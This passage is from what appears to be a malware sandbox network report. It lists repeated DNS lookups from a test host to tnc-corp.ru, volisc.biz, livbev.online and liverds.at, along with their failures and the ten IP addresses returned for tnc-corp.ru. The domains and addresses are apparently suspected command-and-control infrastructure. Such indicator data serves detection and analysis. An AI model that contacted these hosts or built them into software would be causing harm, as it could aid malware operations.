Oct 20, 2024 09:40:05.261797905 CEST	53	52296	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:05.261809111 CEST	53	52296	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:05.261816978 CEST	53	52296	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:05.276205063 CEST	50586	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:05.288279057 CEST	53	50586	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:05.302545071 CEST	62550	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:06.290985107 CEST	62550	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:07.290999889 CEST	62550	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:07.298880100 CEST	53	62550	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:13.759941101 CEST	53	62550	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:13.759958029 CEST	53	62550	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:22.245542049 CEST	56660	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:23.259813070 CEST	56660	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:24.259974957 CEST	56660	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:26.259892941 CEST	56660	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:29.140971899 CEST	53	56660	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:29.140989065 CEST	53	56660	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:29.140997887 CEST	53	56660	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:29.141005993 CEST	53	56660	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:29.145399094 CEST	56033	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:29.154721022 CEST	53	56033	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:29.157561064 CEST	65292	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:30.169682980 CEST	65292	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:31.182416916 CEST	65292	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:33.184174061 CEST	65292	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:37.204145908 CEST	65292	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:37.993104935 CEST	53	65292	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:37.993119955 CEST	53	65292	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:37.993127108 CEST	53	65292	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:37.993135929 CEST	53	65292	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:37.993146896 CEST	53	65292	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:43.115511894 CEST	54646	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:44.123583078 CEST	54646	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:45.124490023 CEST	54646	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:47.123059034 CEST	54646	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:51.032890081 CEST	53	54646	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:51.032912016 CEST	53	54646	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:51.032924891 CEST	53	54646	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:51.032937050 CEST	53	54646	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:51.044414043 CEST	52663	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:51.053415060 CEST	53	52663	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:51.059890032 CEST	58405	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:52.072747946 CEST	58405	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:53.074752092 CEST	58405	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:55.094579935 CEST	58405	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:59.089540958 CEST	58405	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:59.940843105 CEST	53	58405	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:59.940856934 CEST	53	58405	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:59.940874100 CEST	53	58405	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:59.940882921 CEST	53	58405	1.1.1.1	192.168.2.4
Oct 20, 2024 09:40:59.940891027 CEST	53	58405	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 20, 2024 09:37:23.464411974 CEST	192.168.2.4	1.1.1.1	0x4ff0	Standard query (0)	tnc-corp.ru	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:24.477906942 CEST	192.168.2.4	1.1.1.1	0x4ff0	Standard query (0)	tnc-corp.ru	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:25.493490934 CEST	192.168.2.4	1.1.1.1	0x4ff0	Standard query (0)	tnc-corp.ru	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:27.508902073 CEST	192.168.2.4	1.1.1.1	0x4ff0	Standard query (0)	tnc-corp.ru	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:27.705244064 CEST	192.168.2.4	1.1.1.1	0x32c7	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:28.712131023 CEST	192.168.2.4	1.1.1.1	0x32c7	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:29.712110996 CEST	192.168.2.4	1.1.1.1	0x32c7	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:31.727678061 CEST	192.168.2.4	1.1.1.1	0x32c7	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:35.727746964 CEST	192.168.2.4	1.1.1.1	0x32c7	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:37.217175007 CEST	192.168.2.4	1.1.1.1	0xc841	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:37.228619099 CEST	192.168.2.4	1.1.1.1	0x4471	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:38.227806091 CEST	192.168.2.4	1.1.1.1	0x4471	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:51.331573009 CEST	192.168.2.4	1.1.1.1	0x995b	Standard query (0)	tnc-corp.ru	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:52.337474108 CEST	192.168.2.4	1.1.1.1	0x995b	Standard query (0)	tnc-corp.ru	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.337481976 CEST	192.168.2.4	1.1.1.1	0x995b	Standard query (0)	tnc-corp.ru	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:55.068178892 CEST	192.168.2.4	1.1.1.1	0x165c	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:56.071932077 CEST	192.168.2.4	1.1.1.1	0x165c	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:57.081801891 CEST	192.168.2.4	1.1.1.1	0x165c	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:59.087507010 CEST	192.168.2.4	1.1.1.1	0x165c	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:02.972198963 CEST	192.168.2.4	1.1.1.1	0x3880	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:02.985948086 CEST	192.168.2.4	1.1.1.1	0x8207	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:03.994590998 CEST	192.168.2.4	1.1.1.1	0x8207	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:05.008824110 CEST	192.168.2.4	1.1.1.1	0x8207	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:07.000643969 CEST	192.168.2.4	1.1.1.1	0x8207	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:16.004688978 CEST	192.168.2.4	1.1.1.1	0xacd	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:17.009521961 CEST	192.168.2.4	1.1.1.1	0xacd	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:18.009525061 CEST	192.168.2.4	1.1.1.1	0xacd	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:20.009536982 CEST	192.168.2.4	1.1.1.1	0xacd	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:20.864247084 CEST	192.168.2.4	1.1.1.1	0x91a6	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:20.882436991 CEST	192.168.2.4	1.1.1.1	0xeccf	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:21.874319077 CEST	192.168.2.4	1.1.1.1	0xeccf	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:22.891041994 CEST	192.168.2.4	1.1.1.1	0xeccf	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:24.885687113 CEST	192.168.2.4	1.1.1.1	0xeccf	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:33.099148035 CEST	192.168.2.4	1.1.1.1	0xae7c	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:34.087735891 CEST	192.168.2.4	1.1.1.1	0xae7c	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:35.103343964 CEST	192.168.2.4	1.1.1.1	0xae7c	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:37.118973970 CEST	192.168.2.4	1.1.1.1	0xae7c	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:41.121043921 CEST	192.168.2.4	1.1.1.1	0xae7c	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:42.144233942 CEST	192.168.2.4	1.1.1.1	0x605b	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:42.158812046 CEST	192.168.2.4	1.1.1.1	0x1106	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:43.166395903 CEST	192.168.2.4	1.1.1.1	0x1106	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:44.170075893 CEST	192.168.2.4	1.1.1.1	0x1106	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:46.166450024 CEST	192.168.2.4	1.1.1.1	0x1106	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:50.182689905 CEST	192.168.2.4	1.1.1.1	0x1106	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:57.297740936 CEST	192.168.2.4	1.1.1.1	0x360	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:58.291162968 CEST	192.168.2.4	1.1.1.1	0x360	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:59.306598902 CEST	192.168.2.4	1.1.1.1	0x360	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:01.306811094 CEST	192.168.2.4	1.1.1.1	0x360	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:05.276205063 CEST	192.168.2.4	1.1.1.1	0x93dd	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:05.302545071 CEST	192.168.2.4	1.1.1.1	0xffbe	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:06.290985107 CEST	192.168.2.4	1.1.1.1	0xffbe	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:07.290999889 CEST	192.168.2.4	1.1.1.1	0xffbe	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:22.245542049 CEST	192.168.2.4	1.1.1.1	0x898b	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:23.259813070 CEST	192.168.2.4	1.1.1.1	0x898b	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:24.259974957 CEST	192.168.2.4	1.1.1.1	0x898b	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:26.259892941 CEST	192.168.2.4	1.1.1.1	0x898b	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:29.145399094 CEST	192.168.2.4	1.1.1.1	0x4a84	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:29.157561064 CEST	192.168.2.4	1.1.1.1	0x263	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:30.169682980 CEST	192.168.2.4	1.1.1.1	0x263	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:31.182416916 CEST	192.168.2.4	1.1.1.1	0x263	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:33.184174061 CEST	192.168.2.4	1.1.1.1	0x263	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:37.204145908 CEST	192.168.2.4	1.1.1.1	0x263	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:43.115511894 CEST	192.168.2.4	1.1.1.1	0x2d67	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:44.123583078 CEST	192.168.2.4	1.1.1.1	0x2d67	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:45.124490023 CEST	192.168.2.4	1.1.1.1	0x2d67	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:47.123059034 CEST	192.168.2.4	1.1.1.1	0x2d67	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:51.044414043 CEST	192.168.2.4	1.1.1.1	0xcd97	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:51.059890032 CEST	192.168.2.4	1.1.1.1	0x3f1c	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:52.072747946 CEST	192.168.2.4	1.1.1.1	0x3f1c	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:53.074752092 CEST	192.168.2.4	1.1.1.1	0x3f1c	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:55.094579935 CEST	192.168.2.4	1.1.1.1	0x3f1c	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:59.089540958 CEST	192.168.2.4	1.1.1.1	0x3f1c	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 20, 2024 09:37:27.701919079 CEST	1.1.1.1	192.168.2.4	0x4ff0	Server failure (2)	tnc-corp.ru	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:27.701935053 CEST	1.1.1.1	192.168.2.4	0x4ff0	Server failure (2)	tnc-corp.ru	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:27.701941013 CEST	1.1.1.1	192.168.2.4	0x4ff0	Server failure (2)	tnc-corp.ru	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:27.701946020 CEST	1.1.1.1	192.168.2.4	0x4ff0	Server failure (2)	tnc-corp.ru	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:37.214426041 CEST	1.1.1.1	192.168.2.4	0x32c7	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:37.214464903 CEST	1.1.1.1	192.168.2.4	0x32c7	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:37.214497089 CEST	1.1.1.1	192.168.2.4	0x32c7	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:37.214525938 CEST	1.1.1.1	192.168.2.4	0x32c7	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:37.214561939 CEST	1.1.1.1	192.168.2.4	0x32c7	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:37.226423025 CEST	1.1.1.1	192.168.2.4	0xc841	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:37:45.312041044 CEST	1.1.1.1	192.168.2.4	0x4471	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862907887 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		211.171.233.126	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862907887 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		189.195.132.134	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862907887 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		190.249.249.14	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862907887 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		181.123.219.23	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862907887 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		190.224.203.37	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862907887 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		201.191.99.134	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862907887 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		211.202.224.10	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862907887 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		187.156.6.228	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862907887 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		197.164.156.210	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862907887 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		125.7.253.10	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862921953 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		211.171.233.126	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862921953 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		189.195.132.134	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862921953 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		190.249.249.14	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862921953 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		181.123.219.23	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862921953 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		190.224.203.37	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862921953 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		201.191.99.134	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862921953 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		211.202.224.10	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862921953 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		187.156.6.228	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862921953 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		197.164.156.210	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862921953 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		125.7.253.10	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862989902 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		211.171.233.126	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862989902 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		189.195.132.134	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862989902 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		190.249.249.14	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862989902 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		181.123.219.23	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862989902 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		190.224.203.37	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862989902 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		201.191.99.134	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862989902 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		211.202.224.10	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862989902 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		187.156.6.228	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862989902 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		197.164.156.210	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:38:53.862989902 CEST	1.1.1.1	192.168.2.4	0x995b	No error (0)	tnc-corp.ru		125.7.253.10	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:02.967356920 CEST	1.1.1.1	192.168.2.4	0x165c	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:02.967367887 CEST	1.1.1.1	192.168.2.4	0x165c	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:02.967375994 CEST	1.1.1.1	192.168.2.4	0x165c	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:02.967389107 CEST	1.1.1.1	192.168.2.4	0x165c	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:02.981376886 CEST	1.1.1.1	192.168.2.4	0x3880	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:10.781418085 CEST	1.1.1.1	192.168.2.4	0x8207	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:10.781434059 CEST	1.1.1.1	192.168.2.4	0x8207	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:10.781441927 CEST	1.1.1.1	192.168.2.4	0x8207	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:10.781451941 CEST	1.1.1.1	192.168.2.4	0x8207	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:20.848484993 CEST	1.1.1.1	192.168.2.4	0xacd	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:20.848506927 CEST	1.1.1.1	192.168.2.4	0xacd	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:20.848520041 CEST	1.1.1.1	192.168.2.4	0xacd	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:20.848531961 CEST	1.1.1.1	192.168.2.4	0xacd	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:20.873393059 CEST	1.1.1.1	192.168.2.4	0x91a6	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:27.918654919 CEST	1.1.1.1	192.168.2.4	0xeccf	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:27.918673038 CEST	1.1.1.1	192.168.2.4	0xeccf	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:27.918683052 CEST	1.1.1.1	192.168.2.4	0xeccf	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:27.918694019 CEST	1.1.1.1	192.168.2.4	0xeccf	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:42.128823996 CEST	1.1.1.1	192.168.2.4	0xae7c	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:42.128842115 CEST	1.1.1.1	192.168.2.4	0xae7c	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:42.128850937 CEST	1.1.1.1	192.168.2.4	0xae7c	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:42.128863096 CEST	1.1.1.1	192.168.2.4	0xae7c	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:42.128931046 CEST	1.1.1.1	192.168.2.4	0xae7c	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:42.153511047 CEST	1.1.1.1	192.168.2.4	0x605b	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:51.006125927 CEST	1.1.1.1	192.168.2.4	0x1106	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:51.006141901 CEST	1.1.1.1	192.168.2.4	0x1106	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:51.006150961 CEST	1.1.1.1	192.168.2.4	0x1106	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:51.006161928 CEST	1.1.1.1	192.168.2.4	0x1106	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:39:51.006165981 CEST	1.1.1.1	192.168.2.4	0x1106	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:05.261745930 CEST	1.1.1.1	192.168.2.4	0x360	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:05.261797905 CEST	1.1.1.1	192.168.2.4	0x360	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:05.261809111 CEST	1.1.1.1	192.168.2.4	0x360	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:05.261816978 CEST	1.1.1.1	192.168.2.4	0x360	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:05.288279057 CEST	1.1.1.1	192.168.2.4	0x93dd	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:13.759941101 CEST	1.1.1.1	192.168.2.4	0xffbe	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:13.759958029 CEST	1.1.1.1	192.168.2.4	0xffbe	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:29.140971899 CEST	1.1.1.1	192.168.2.4	0x898b	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:29.140989065 CEST	1.1.1.1	192.168.2.4	0x898b	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:29.140997887 CEST	1.1.1.1	192.168.2.4	0x898b	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:29.141005993 CEST	1.1.1.1	192.168.2.4	0x898b	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 20, 2024 09:40:29.154721022 CEST	1.1.1.1	192.168.2.4	0x4a84	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
